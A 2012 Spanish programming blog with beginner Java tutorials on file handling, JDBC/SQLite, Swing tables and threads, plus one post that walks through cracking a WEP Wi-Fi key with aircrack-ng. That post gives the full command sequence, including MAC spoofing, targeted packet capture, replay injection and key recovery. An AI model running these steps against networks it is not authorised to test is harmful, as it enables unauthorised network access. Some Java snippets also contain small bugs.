Buscar en ELMED

domingo, 27 de mayo de 2012

Copiar Ficheros o Carpetas con Java

La siguiente es una clase que nos permite copiar un directorio completo o un simple archivo usando java.
Antes de comenzar recuerdo a los usuarios de windows cambiar el "/" por "\\"
Comencemos por la función main() que llama al método recursivo
  
public static int  EntraIncial=0;    
public static void main(String[] args) {
        //Fichero desde el cual se van a copiar los datos
        File FOrigen=new File("/home/luis/FRUTAS");
        //Fichero donde se van a copiar los datos
        File FDestino=new File("/home/luis/XXX");
        Copiar(FOrigen,FDestino);
        EntraIncial=0;   
}

  

/* Método que copia completamente una carpeta usando recursividad
 *PARAMETRO1:FOrigen:Fichero o carpeta que se desea copiar
 *PARAMETRO2:FDestino:Carpeta destino
 */
public static void Copiar(File FOrigen,File FDestino){
        //si el origen no es una carpeta
        if(!FOrigen.isDirectory()){
            //Llamo la funcion que lo copia
            CopiarFichero(FOrigen,FDestino);
        }else{
           //incremento el contador de entradas a esta función 
           EntraIncial++; 
           //solo se entra acá cuando se quiera copiar una carpeta y 
           //sea la primera es decir la carpeta padre
           if(EntraIncial==1){
                //Cambio la ruta destino por el nombre que tenia mas el nombre de
                //la carpeta padre
                FDestino=new File(FDestino.getAbsolutePath()+"/"+FOrigen.getName()); 
                //si la carpeta no existe la creo
                if(!FDestino.exists()){
                    FDestino.mkdir();
                }
           } 
           //obtengo el nombre de todos los archivos y carpetas que 
           //pertenecen a este fichero(FOrigen)
           String []Rutas=FOrigen.list();
           //recorro uno a uno el contenido de la carpeta
           
           /*IMPORTANTE:EL HML SE DESCONFIGURA Y NO ME DEJA 
             PORNE LA LINEA FOR SIGUIENTE BIEN, TENGO PROBLEMA 
             CON EL SIGNO MENOR.SI UD LE PASA LO MISMO DESCARGE EL
             PROGRAMA CON EL LINK DE ABAJO Y VÉALO DE FORMA SEGURA           
           */
             for(int i=0;i<Rutas.length;i++){
              //establezco el nombre del nuevo archivo origen 
              File FnueOri=new File(FOrigen.getAbsolutePath()+"/"+Rutas[i]);
              //establezco el nombre del nuevo archivo destino 
              File FnueDest= new File(FDestino.getAbsolutePath()+"/"+Rutas[i]);
              //si no existe el archivo destino lo creo
              if(FnueOri.isDirectory() && !FnueDest.exists()){
                  FnueDest.mkdir();                        
              }
              //uso recursividad y llamo a esta misma funcion has llegar
              //al ultimo elemento    
              Copiar(FnueOri,FnueDest); 
           }
        }
        
} 
  
/*Funcio que copia un fichero
 *PARAMETRO1:FOrigen:Fichero o carpeta que se desea copiar
 *PARAMETRO2:FDestino:Carpeta destino
 */
public static void CopiarFichero(File FOrigen,File FDestino){
            try {
            //Si el archivo a copiar existe
            if(FOrigen.exists()){
                String copiar="S";
                //si el fichero destino ya existe
                if(FDestino.exists()){
                   System.out.println("El fichero ya existe, Desea Sobre Escribir:S/N ");
                   copiar = ( new BufferedReader(new InputStreamReader(System.in))).readLine();
                }
                //si puedo copiar
                if(copiar.toUpperCase().equals("S")){
                    //Flujo de lectura al fichero origen(que se va a copiar)            
                    FileInputStream LeeOrigen= new FileInputStream(FOrigen);
                    //Flujo de lectura al fichero destino(donde se va a copiar)
                    OutputStream Salida = new FileOutputStream(FDestino);
                    //separo un buffer de 1MB de lectura
                    byte[] buffer = new byte[1024];
                    int tamaño;
                    //leo el fichero a copiar cada 1MB
                    while ((tamaño = LeeOrigen.read(buffer)) > 0) {
                    //Escribe el MB en el fichero destino
                    Salida.write(buffer, 0, tamaño);
                    }
                    System.out.println(FOrigen.getName()+" Copiado con Exito!!");
                    //cierra los flujos de lectura y escritura
                    Salida.close();
                    LeeOrigen.close();
                }
                
            }else{//l fichero a copiar no existe                
                System.out.println("El fichero a copiar no existe..."+FOrigen.getAbsolutePath());
            }
            
        } catch (Exception ex) {
            System.out.println(ex.getMessage());
        
       }
    
    
}
Bueno el ejemplo completo lo puedes descargar desde aquí. Acepto dudas,sugerencias o correcciones

sábado, 26 de mayo de 2012

Comparar dos ficheros o archivos de texto con Java

En la entrada anterior desglosamos de manera util el manejo de ficheros de textos con Java, esta vez vamos a comparar dos archivos de textos linea a linea basado en los mismo principios.

    //Primer archivo a leer 
       //Primer archivo a leer 
       File fichero1=new File("/home/luis/Documentos/FICHEROGRANDE.txt");
       //Segundo archivo a leer
       File fichero2=new File("/home/luis/Documentos/FICHEROGRANDE.txt");
       //llamado ala funcion que compara los archivos
       LeerFichero(fichero1,fichero2);
 public static  void LeerFichero(File Ffichero1,File Ffichero2){
   try {
       String NumLineaDist="";
       /*Si existe el fichero*/
       if(Ffichero1.exists() && Ffichero2.exists()){
           /*Abre un flujo de lectura a el fichero1*/
           BufferedReader Flee1= new BufferedReader(new FileReader(Ffichero1));
           /*Abre un flujo de lectura a el fichero2*/
           BufferedReader Flee2= new BufferedReader(new FileReader(Ffichero2));           
           String Slinea1="",Slinea2="";
           System.out.println("**********Comparando Fichero***********");
           int contador1=0,contador2=0,contador=0;
           /*Lee el fichero line a linea hasta llegar a la ultima*/
           while(Slinea1!=null || Slinea2!=null){
               Slinea1=Flee1.readLine();
               Slinea2=Flee2.readLine();
               /*Si alguno de los dos Fichero no se a acabado de leer*/
               if(Slinea1!=null){
                   contador1++;
               }
               if(Slinea2!=null){
                   contador2++;
               }
               contador++;               
               //si no es la ultima lectura para algun archivo para evitar excepcion por null
               if(Slinea1!=null && Slinea2!=null) { 
                   //Si no son iguales las lineas
                     if(!Slinea1.trim().toUpperCase().equals(Slinea2.trim().toUpperCase())){
                          NumLineaDist+=","+contador;
                       }   
               }else{
                    //si no es la ultima entrada al while donde ambos son null
                   if(!(Slinea1==null && Slinea2==null)) { 
                        NumLineaDist+=","+contador;
                   }
               }
           }
          
           System.out.println("*********Fin Comparacion Fichero**********");
           System.out.println(Ffichero1.getName()+"Tiene "+contador1+" Lineas");
           System.out.println(Ffichero2.getName()+"Tiene "+contador2+" Lineas");
           System.out.println("Las Lineas Distintas son "+NumLineaDist);
           /*Cierra el flujo*/
           Flee1.close();
           Flee1.close();
         }else{
           System.out.println("Alguno De Los Ficheros No Existe");
         }
   } catch (Exception ex) {
       /*Captura un posible error y le imprime en pantalla*/ 
        System.out.println(ex.getMessage());
   } }
Pudes Descargarlo Completo desde Aqui

sábado, 19 de mayo de 2012

Manejo de Archivos o Ficheros en Java(Agregar,Buscar,Modificar,Eliminar)

Java proporciona un numero amplio de clases, muy útiles para trabajar sobre ficheros a través del paquete Java.io . Para ver un ejemplo del poder de este paquete vamos a crear una pequeña clase que nos permita crear y eliminar  ficheros además que posibilite buscar,modificar, y eliminar registros dentro del archivo.
Comencemos por crear el fichero, pero primero debemos hacer uso de la clase File, que es la que nos proporciona información a cerca del archivo:
/*Creo un objeto File. Recibe como parámetro la ruta completa con el
 *nombre del fichero Para los usuarios de Windows la ruta seria
 *mas o menos así:"c:\\MiFichero.txt"*/
File Ffichero=new File("/home/luis/Documentos/MiFichero.txt");
La siguiente función crea un fichero si no existe y escribe en el una cadena que recibe como parámetro.

public static void EcribirFichero(File Ffichero,String SCadena){
  try {
          //Si no Existe el fichero lo crea
           if(!Ffichero.exists()){
               Ffichero.createNewFile();
           }
          /*Abre un Flujo de escritura,sobre el fichero con codificacion utf-8. 
           *Además  en el pedazo de sentencia "FileOutputStream(Ffichero,true)",
           *true es por si existe el fichero seguir añadiendo texto y no borrar lo que tenia*/
          BufferedWriter Fescribe=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(Ffichero,true), "utf-8"));
          /*Escribe en el fichero la cadena que recibe la función. 
           *el string "\r\n" significa salto de linea*/
          Fescribe.write(SCadena + "\r\n");
          //Cierra el flujo de escritura
          Fescribe.close();
       } catch (Exception ex) {
          //Captura un posible error le imprime en pantalla 
          System.out.println(ex.getMessage());
       } 
}
La siguiente función permite leer el contenido de un fichero de texto linea a linea
/*Función que lee el contenido de un fichero de texto
*Parámetro:Ffichero. Objeto de la clase file donde se va a leer*/    
public static  void LeerFichero(File Ffichero){
   try {
       /*Si existe el fichero*/
       if(Ffichero.exists()){
           /*Abre un flujo de lectura a el fichero*/
           BufferedReader Flee= new BufferedReader(new FileReader(Ffichero));
           String Slinea;
           System.out.println("**********Leyendo Fichero***********");
           /*Lee el fichero linea a linea hasta llegar a la ultima*/
           while((Slinea=Flee.readLine())!=null) {
           /*Imprime la linea leida*/    
           System.out.println(Slinea);              
           }
           System.out.println("*********Fin Leer Fichero**********");
           /*Cierra el flujo*/
           Flee.close();
         }else{
           System.out.println("Fichero No Existe");
         }
   } catch (Exception ex) {
       /*Captura un posible error y le imprime en pantalla*/ 
        System.out.println(ex.getMessage());
   }
 }
Para borrar un archivo usamos este método.
/* Método que borra un fichero si existe
 *Parámetro:Ffichero. Objeto de la clase file donde se va a borrar
 */    
public static  void BorrarFichero(File Ffichero){
     try {
         /*Si existe el fichero*/
         if(Ffichero.exists()){
           /*Borra el fichero*/  
           Ffichero.delete(); 
           System.out.println("Fichero Borrado con Exito");
         }
     } catch (Exception ex) {
         /*Captura un posible error y le imprime en pantalla*/ 
          System.out.println(ex.getMessage());
     }
} 
Para modificar un registro dentro de un fichero.
/***********************************************************
 * Modificar un fichero de texto, consiste en leer un archivo
 *y escribir su con tenido en uno nuevo llamado X, excepto la 
 *linea a modificar que se remplaza con la linea nueva.Luego
 *se borra el fichero inicial y se renombra el nuevo fichero
 *con el nombre del archivo inicial 
 ***********************************************************
 *PARÁMETROS:
 *FficheroAntiguo:Objeto File del fichero a modificar
 *Satigualinea:Linea que se busca para modificar
 *Snuevalinea:Linea con la que se va a remplazar la vieja
 ***********************************************************/
    public static  void ModificarFichero(File FficheroAntiguo,String Satigualinea,String Snuevalinea){        
        /*Obtengo un numero aleatorio*/
        Random numaleatorio= new Random(3816L); 
        /*Creo un nombre para el nuevo fichero apartir del
         *numero aleatorio*/
        String SnombFichNuev=FficheroAntiguo.getParent()+"/auxiliar"+String.valueOf(Math.abs(numaleatorio.nextInt()))+".txt";
        /*Crea un objeto File para el fichero nuevo*/
        File FficheroNuevo=new File(SnombFichNuev);
        try {
            /*Si existe el fichero inical*/
            if(FficheroAntiguo.exists()){
                /*Abro un flujo de lectura*/
                BufferedReader Flee= new BufferedReader(new FileReader(FficheroAntiguo));
                String Slinea;
                /*Recorro el fichero de texto linea a linea*/
                while((Slinea=Flee.readLine())!=null) { 
                    /*Si la lia obtenida es igual al la bucada
                     *para modificar*/
                    if (Slinea.toUpperCase().trim().equals(Satigualinea.toUpperCase().trim())) {
                       /*Escribo la nueva linea en vez de la que tenia*/
                        EcribirFichero(FficheroNuevo,Snuevalinea);
                    }else{
                        /*Escribo la linea antigua*/
                         EcribirFichero(FficheroNuevo,Slinea);
                    }             
                }
                /*Obtengo el nombre del fichero inicial*/
                String SnomAntiguo=FficheroAntiguo.getName();
                /*Borro el fichero inicial*/
                BorrarFichero(FficheroAntiguo);
                /*renombro el nuevo fichero con el nombre del 
                *fichero inicial*/
                FficheroNuevo.renameTo(FficheroAntiguo);
                /*Cierro el flujo de lectura*/
                Flee.close();
            }else{
                System.out.println("Fichero No Existe");
            }
        } catch (Exception ex) {
            /*Captura un posible error y le imprime en pantalla*/ 
             System.out.println(ex.getMessage());
        }
    }
Para eliminar un registro dentro del fichero
/***********************************************************
        *Eliminar un registro dentro de un fichero de texto, 
        *consiste en leer un archivo y escribir su contenido en uno 
        *nuevo llamado X, excepto la linea a eliminar.Luego se borra 
        *el fichero inicial y se renombra el nuevo fichero con el 
        *nombre del archivo inicial 
        ***********************************************************
        *PARÁMETROS:
        *FficheroAntiguo:Objeto File del fichero a eliminar el reg
        *Satigualinea:Linea que se busca para eliminar
        ***********************************************************/    
       public static  void EliminarRegistro(File FficheroAntiguo,String Satigualinea){        
        /*Obtengo un numero aleatorio*/
        Random numaleatorio= new Random(3816L); 
        /*Creo un nombre para el nuevo fichero apartir del
         *numero aleatorio*/
        String SnombFichNuev=FficheroAntiguo.getParent()+"/auxiliar"+String.valueOf(Math.abs(numaleatorio.nextInt()))+".txt";
        /*Crea un objeto File para el fichero nuevo*/
        File FficheroNuevo=new File(SnombFichNuev);
        try {
            /*Si existe el fichero inical*/
            if(FficheroAntiguo.exists()){
                /*Abro un flujo de lectura*/
                BufferedReader Flee= new BufferedReader(new FileReader(FficheroAntiguo));
                String Slinea;
                /*Recorro el fichero de texto linea a linea*/
                while((Slinea=Flee.readLine())!=null) { 
                     /*Si la linea obtenida es distinta al la buscada
                     *para eliminar*/
                    if (!Slinea.toUpperCase().trim().equals(Satigualinea.toUpperCase().trim())) {
                       /*la escribo en el fichero nuevo*/ 
                       EcribirFichero(FficheroNuevo,Slinea);
                    }else{
                        /*Si es igual simple mete no hago nada*/
                    }             
                }
                /*Obtengo el nombre del fichero inicial*/
                String SnomAntiguo=FficheroAntiguo.getName();
                /*Borro el fichero inicial*/
                BorrarFichero(FficheroAntiguo);
                /*renombro el nuevo fichero con el nombre del fichero inicial*/
                FficheroNuevo.renameTo(FficheroAntiguo);
                /*Cierro el flujo de lectura*/
                Flee.close();
            }else{
                System.out.println("Fichero No Existe");
            }
        } catch (Exception ex) {
             System.out.println(ex.getMessage());
        }
    }
Bueno es todo por ahora a cerca de fichero acepto sugerencias o correcciones. pueden descargar un ejemplo completo hecho en netbeans desde aquí.

sábado, 12 de mayo de 2012

Romper la clave a una Wifi con seguridad WEP (Aircrak+Ubuntu 12.04)

Que tal, En este post  vamos a romper la seguridad de una red WEP con fines educativos.
Primero que todo definamos WEP.
Según wikipedia: WEP es el sistema de cifrado incluido en el estándar IEEE 802.11como protocolo para redes Wireless que permite cifrar la información que se transmite.
Este protocolo utiliza un sistema  de cifrado  inseguro, ya que se puede romper fácilmente con software como Aircrak, a si que revisa tu módem en casa y si usas este tipo de cifrado cámbialo inmediatamente a WPA que es la mejora del WEP.
Para este tutorial usamos un ordenador  ASPIRE4741,con Ubuntu 12.04+Aircrak1.1
Lo primero es instalar Aircrak y Macchanger. Lo pudes hacer asi.


Paso 1:
Para versiones inferiores a unbuntu 12.04

apt-get install aircrack-ng

Para instalar Aircrack en unbuntu 12.04 lo descargas de esta direccion porque al parecer no esta en lo repositorios.Para i386
Luego en la terminal te diriges a la carpeta donde lo descargaste con el comando "cd"

cd /home/luis/Descargas/
sudo dpkg -i aircrack-ng_1.1-1.1build1_amd64.deb


Paso 2:
Luego obtenemos el nombre de nuestra tarjeta de red para el equipo.

sudo ifconfig

Aperecera algo como esto
lo cual me dice que tengo dos tarjetas de red, la eth0 y la wlan0, como su nombre lo dice la que vamos a utilizar es la wlan0 en mi caso.


Paso 3:
Ponemos en modo monitor nuestra tarjeta.

sudo airmon-ng start wlan0
Aparecera algo como la imagen anterior, observe detalladamente la linea seleccionada y se dará cuenta que el nombre de nuestra tarjeta cambia por mon0.
luego en la terminal tecleas.
Paso 4:

sudo ifconfig mon0 down
Esto desactiva la tarjeta. Ahora en la misma terminal.
Paso 5:

sudo macchanger -m 00:11:22:33:44:55 mon0
Cambia la dirección mac de tu tarjeta por 00:11:22:33:44:55 
Paso 6:

sudo ifconfig mon0 up
Vuelve a activar la tarjeta. En la terminal estos tres últimos comando debieron quedar asi.
Paso 7:

sudo airodump-ng mon0

El comando anterior es para capturar paquetes wireless 802.11. 
esperas hasta que aparezca la red deseada que sea "WEP". cuando aperecaz presionas Ctrl+c.


Paso 8:
Abre una nueva terminal, adaptas el comando a tu caso.

sudo airodump-ng -c [CH] -w [ESSID] --bssid [BSSID] mon0
Donde el [CH]: es el numero que aparece en la columna CH para la red elejida de la terminal donde ejecutaste el airodump-ng. Anoto  que el CH debe ser mayor a cero.
[ESSID]:Nombre de la red tambien esta en la terminal donde digitaste el comando airodump-ng.
[BSSID]:La direccion Mac del equipo al que se ataca no esta de mas anotar que      
tambien esta en la terminal donde digitaste el comando airodump-ng.
Bueno nuestro comando debe quedar mas o menos asi

sudo airodump-ng -c 1 -w XXXXX --bssid 8X:CX:AX:CX:8X:0X mon0

En mi caso al ejecuar el comando en la parte superior derecha me daba este mensaje de error  fixed channel mon0: -1. 


Tranquilos que esto se soluciona con un parche al kernel. SI NO TIENES ESTE ERROR NO HAGAS ESTE PASO
Paso 9:
Lo primero es descargar este archivo que contiene los drivers de las tarjetas de red inalambricas para linux.
Lo descomprimes de forma gráfica o por la terminal como sea de tu preferencia. Si es por la terminal lo puedes hacer asi "Terminal Nueva".

tar -jxf compat-wireless-3.4-rc1-2.tar.bz2 

Te ubicas dentro de la carpeta con la terminal.

cd compat-wireless-3.4-rc1-2/

Descargas el parche de Aircrack
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
Instalo el parche
 sudo apt-get install patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
sudo apt-get install build-essential
Luego compilas e instalas.
 make
 sudo make install
 sudo make unload
 sudo reboot 
Ahora si tenemos nuestro sistemas a punto para usar correctamente Aircrak.
Espera que se reinicie la maquina y repite los pasos del 1 al 8.
Paso 10:En una nueva terminal pones.

sudo aireplay-ng -1 6000 -a 8X:CX:AX:CX:8X:0X -h 00:11:22:33:44:55 mon0

Donde 8X:CX:AX:CX:8X:0X es la Mac del equipo atacado.
Paso 11:En una nueva terminal pones.

sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 8X:CX:AX:CX:8X:0X -h 00:11:22:33:44:55 mon0

Paso 12:Esperas que los datas en la terminal del paso 8 lleguen almenos a 5000 y ejecutas este comando en una terminal nueva.

sudo aircrack-ng -z XXXXX*.cap 
Listo tenemos la clave de la red.

viernes, 11 de mayo de 2012

Llenar un combo con un ResultSet

Ya había posteado  Como llenar un JTable a partir de un ResulSet, ahora le toca el turno a un JComboBox.
 Este es Proceso fácil, lo voy a resumir  en una función que recibe como parámetro el combo y el ResultSet donde están almacenados los datos de la consulta sql. queda así.


 public static void ActualizarCombo(JComboBox combo, ResultSet rs) {
     try {
//Recorro el ResultSet para interactuar con todos los elementos 
        combo.removeAllItems();
        while (rs.next()) {
//Añado al combo los datos que tenga el ResultSet en la columna //"nombre"
         combo.addItem(rs.getString("nombre"));
         }//Fin while
            rs.close();//Cierro el ResultSet
        } catch (Exception ex) {
            System.out.println(ex.getMessage());//Capturo e imprimo el error
        }//Fin try
    }//fin funcion


Puedes Descargar un ejemplo completo hecho con netbeans+sqlite, da lo mismo si usas Mysql, Postgres u otro, la esencia es la misma.desde aquí.

Mostrar un ResultSet en un JTable

Pasar un consulta Sql almacenada en un Resultset a un Jtable, es un proceso un tanto tedioso en comparación con otros lenguajes de programación que conozco, ademas que es una de las dudas mas expuestas por los aprendices de java en la web. Bueno vamos a ver una forma sencilla de realizar el proceso.
Esta es una función que recibe como parámetros una instancia de tu JTable y un objeto ResultSet y actualiza la tabla con los datos.
 public static void ActualizarTabla(JTable jtabla,ResultSet rs){     
 DefaultTableModel modelo = 
 new DefaultTableModel();//Creo un modelo de datos para un jtable
 jtabla.setModel(modelo);//le asigno a la tabla el modelo de             //datos
      try {
         //creo 3 columnas con sus etiquetas
        //estas son las columnas del JTable
         modelo.addColumn("CODIGO");
         modelo.addColumn("NOMBRE");
         modelo.addColumn("DIRECCION");
         //Recorro el ResultSet que contiene los resultados.         
         while(rs.next()){
            Object []ob=new Object[4];//Crea un vector
            //para almacenar los valores del ResultSet
            ob[0]=(rs.getInt(1));
            ob[1]=(rs.getString(2));
            ob[2]=(rs.getString(3));
            //añado el modelo a la tabla
            modelo.addRow(ob);
            ob=null;//limpia los datos de el vector de la memoria
         }         
         rs.close();Cierra el ResultSet
      }catch (Exception ex) {
                System.out.println(ex.getMessage());
      }    
   }


Puedes Descargar un ejemplo completo hecho con netbeans+sqlite, da lo mismo si usas Mysql, Postgres u otro, la esencia es la misma.desde aquí.

lunes, 7 de mayo de 2012

Conectar Java con Sqlite

Sin mas palabras descargamos la librería de sqlite para java desde Aqui. A la hora de hacer  este tutorial, estaba en la version 056, basada en SQLite 3.6.14.2.

Una vez descargada añadimos la librería sqlitejdbc-v056.jar a nuestro proyecto en netbeans, lo puedes hacer así.
En la pestaña Proyecto del IDE aparece el nombre de tu proyecto, dentro de el una opción llamada librerías



Al dar clic derecho puedes seleccionar la opción "Add JAR/Folder"
Localizas la carpeta donde descargaste Sqlite y seleccionas el JAR (sqlitejdbc-v056.jar), Abrir.



Ya con la libreria de Sqlite embebida en tu proyecto miremos el codigo:

import java.sql.*;

public class Post4Sqlite {
  public static void main(String[] args) {
   try {//Por si ocurre algun error en la ejecucion
     //Carga el Driver de sqlite
     Class.forName("org.sqlite.JDBC");
     //Conecta a la base de datos prueba.db,si no existe la crea.
     Connection conn =DriverManager.getConnection("jdbc:sqlite:prueba.db");
     //Abre un estamento para la conexion anteriormente abierta
     Statement estamento = conn.createStatement(); 
     //Ejecuta sentencia sql estandar que Borra la tabla empleados si existe
     estamento.executeUpdate("drop table if exists empleados;");
     //Ejecuta sentencia sql estandar que crea una tabla llamada empleados
 estamento.executeUpdate("CREATE TABLE empleados (id INT, nombre varchar(80));");
//Ejecuta sentencia sql estandar que un inserta un registro en la tabla empleados
  estamento.executeUpdate("INSERT INTO empleados (id,nombre) VALUES(1,'Luis');");
     //Ejecuta sentencia sql que selecciona  los registros en la tabla empleados
     ResultSet rs=estamento.executeQuery("SELECT * FROM empleados;");
     //Recorriendo el ResultSet 
     while(rs.next()){
       //Extrae el campo id,nombre el repectivo orden 1,2
       System.out.println("Codigo:"+rs.getInt(1)+"  Nombre:"+rs.getString(2));
       }//Fin while            
    } catch (Exception ex) {
      System.out.println("--------Error--------"+ex.getMessage());
    }//Fin try
 }//fin Main
}//fin Clase

domingo, 6 de mayo de 2012

Temporizador Usando Thread en java

Ya hablamos acerca de los hilos en nuestro post anterior, ahora sin tantas vueltas miremos como funciona un temporizador hechos con hilos en java.
Temporizador o Cuenta regresiva: Es un hilo que tiene como parámetro el tiempo, se ejecuta con un ciclo for infinito, decrementa unas variables como lo son los segundos,minutos o horas según sea el caso  los muestra en pantalla y  luego se echa a dormir un segundo y después continua haciendo el mismo proceso siempre y cuando las variables anteriormente dichas tengan tiempo.
/*
Clase que hereda de la clase Thread, usada
*Para hacer un temporizador
*Autor: LBVP
*Fecha:06-05-2011
*Licencia :GNU
 */
public class Post2 extends Thread{     
    public Post2 () {// Contructor porque la clase es heredada 
        super();
    }
private static int nuMin=0;//El Contador de minutos
private static int nuSeg=0;//El Contador de de segundos
private static int nuHora=0;//El Contador de Horas      
public void run() {
           try {//si ocurre un error al dormir el proceso(sleep(999))
            for (; ;){//inicio del for infinito          
              if(nuSeg!=0) {//si no es el ultimo segundo
                   nuSeg--;  //decremento el numero de segundos                                  
                }else{
                    if(nuMin!=0){//si no es el ultimo minuto
                        nuSeg=59;//segundos comienzan en 59
                        nuMin--;//decremento el numero de minutos
                    }else{
                        if (nuHora!=0){
                            nuHora--;//decremento el numero de horas
                            nuMin=59;//minutos comienzan en 59
                            nuSeg=59;//segundos comienzan en 59
                        }else{                         
                          break;//seacabo el tiempo fin hilo  
                        }
                    }
                }               
            System.out.println(nuHora+":"+nuMin+":"+nuSeg);//Muestro en pantalla el temporizador
             sleep(998);//Duermo el hilo durante 999 milisegundos(casi un segundo, quintandole el tiempo de proceso)
            }            
        } catch (InterruptedException ex) {
             System.out.println(ex.getMessage());
        }//Fin try               
 }
    public static void main(String[] args) {
      //Parametrizo el tiempo
      Post2.nuHora=0;
      Post2.nuMin=1;
      Post2.nuSeg=8;
      Post2 Temporizador= new Post2();// Crear una Instancia de la clase
      Temporizador.start();//inicializa el hilo
    }    
}

Cronometro Usando Thread en java

Los hilos, es un concepto aplicado que desconocemos bastante aquellos que nos iniciamos en la programación, aquí el concepto según Wikipedia .
"Un hilo o Thread en ingles es básicamente una tarea que puede ser ejecutada en paralelo con otra tarea."
En fin, con los hilos podemos ejecutar una tarea, y mientras este la hace el programa puede seguir su curso o ejecutando otra. Un ejemplo, queremos que nuestro programa lea un fichero de texto muy grande y que linea a linea extraiga las filas que contenga el nombre Juan Perez. Ademas queremos que lea otro fichero igual de grande y lo guarde linea a linea en una base de datos.Si los ficheros son muy grandes como se dice,los procesos pueden demorar mucho, ¿porque no hacer los dos al mismo tiempo?. Si puedes usar dos Thread que al  "mismo tiempo" ejecute los dos procesos. No se si este sea el ejemplo mas adecuado para el uso de Threads pero a si funcionan.


Ya con el concepto claro de Thread,basta de cháchara, detallaremos funcionalidad en java.
Cronometro: Simplemente es un hilo que se ejecuta con un for infinito, incrementa unas variables como lo son los segundos,minutos o horas según sea el caso  los muestra en pantalla y  luego se echa a dormir un segundo y después continua haciendo el mismo proceso.

/*
Clase que hereda de la clase Thread, usada
*Para pintar un cronometro 
*Autor: LBVP
*Fecha:06-05-2011
*Licencia :GNU
 */
public class Cronometro extends Thread { //una clase que hereda de la clase Thread
    public Cronometro(){// Contructor porque la clase es heredada 
        super();
    }
    public void run() {
    int nuMin=0; //El Contador de minutos
    int nuSeg=0; //El Contador de de segundos
    int nuHora=0; //El Contador de Horas   
        try {//si ocurre un error al dormir el proceso(sleep(999))
            for (; ;){ //inicio del for infinito           
               if(nuSeg!=59) {//si no es el ultimo segundo
                   nuSeg++; //incremento el numero de segundos                                  
                }else{
                    if(nuMin!=59){//si no es el ultimo minuto
                        nuSeg=0;//pongo en cero los segundos 
                        nuMin++;//incremento el numero de minutos
                    }else{//incremento el numero de horas
                            nuHora++;
                            nuMin=0;//pongo en cero los minutos
                            nuSeg=0;//pongo en cero los segundos           
                    }
                }               
            System.out.println(nuHora+":"+nuMin+":"+nuSeg);//Muestro en pantalla el cronometro
            sleep(999);//Duermo el hilo durante 999 milisegundos(casi un segundo, quintandole el tiempo de proceso)
            }//Fin del for infinito             
        } catch (Exception ex) {
             System.out.println(ex.getMessage());//Imprima el error
        }                 
 } 
 public static void main(String[] args) {
        Cronometro c=new Cronometro(); //Intancio la clase
        c.start(); //Ejecuto el metodo run del Thread        
    }// Fin main
}//Fin Clase



Reproducir Mp3 desde Java

Este es mi primer post espero les sea de ayuda.


Recientemente se me presento la necesidad de reproducir  un mp3 desde mi amado java, en fin googleando un poco, les presento esta sencilla solución.


Encontré un librería llamada BasicPlayer que facilita el asunto en cuestión, ademas permite reproducir Mp3,ogg,WAV entre otros, sin mas rodeos vamos al código y la implementacion en Netbeans.

Antes de todo, debes descargar la librería desde Aquí, en el momento de realizar este post estaba en la versión 3.0.

Una vez descargada la descomprimes en la carpeta que quieras.

Luego abre Netbeans y creas tu proyecto ta ta ta ta ta ya sabes.
Ahora si añades las librerías a tu proyecto, si no lo sabes hacer pues hazlo a si.

En la pestaña Proyecto del IDE aparece el nombre de tu proyecto, dentro de el una opción llamada librerías

Al dar clic derecho puedes seleccionar la opción "Add JAR/Folder"

Localizas la carpeta de BasicPlayer y selecciona la opción basicplayer3.0.jar, Abrir.

Luego haces nuevamente los pasos  anteriores pero en esta ocasión añades todos los .JAR que están en la carpeta lib.

Ya agregaste las librerias a tu proyecto ahora si manos a la obra.
En tu clase principal llamas los siguientes imports. 

/*
*Clase Que Reproduce una archivo .mp3 usando la librería BasicPlayer
*Autor: LBVP
* Fecha:06-05-2011
*Licencia :GNU
*/
import java.io.File;
import javazoom.jlgui.basicplayer.BasicPlayer;
import javazoom.jlgui.basicplayer.BasicPlayerException;
public class Post1 {
    public static void main(String[] args) {
        try {
            BasicPlayer player= new BasicPlayer(); // Llamo la clase de la libreria Basic Player, que reproduce
            player.open(new File("/Mi Musica/Clocks.mp3"));// Dentro las "" va la                     ruta de tu archivo mp3.
            player.play();// Llama al método Reproducir también existen los métodos  stop,resume.           
        } catch (BasicPlayerException ex) {
            System.out.print("-------Error-----"+ex.getMessage());
        }// Fin try
    }// Fin Main
}// Fin Clase
Bueno esto es un sencillo ejemplo de como reproducir un .mp3 desde java.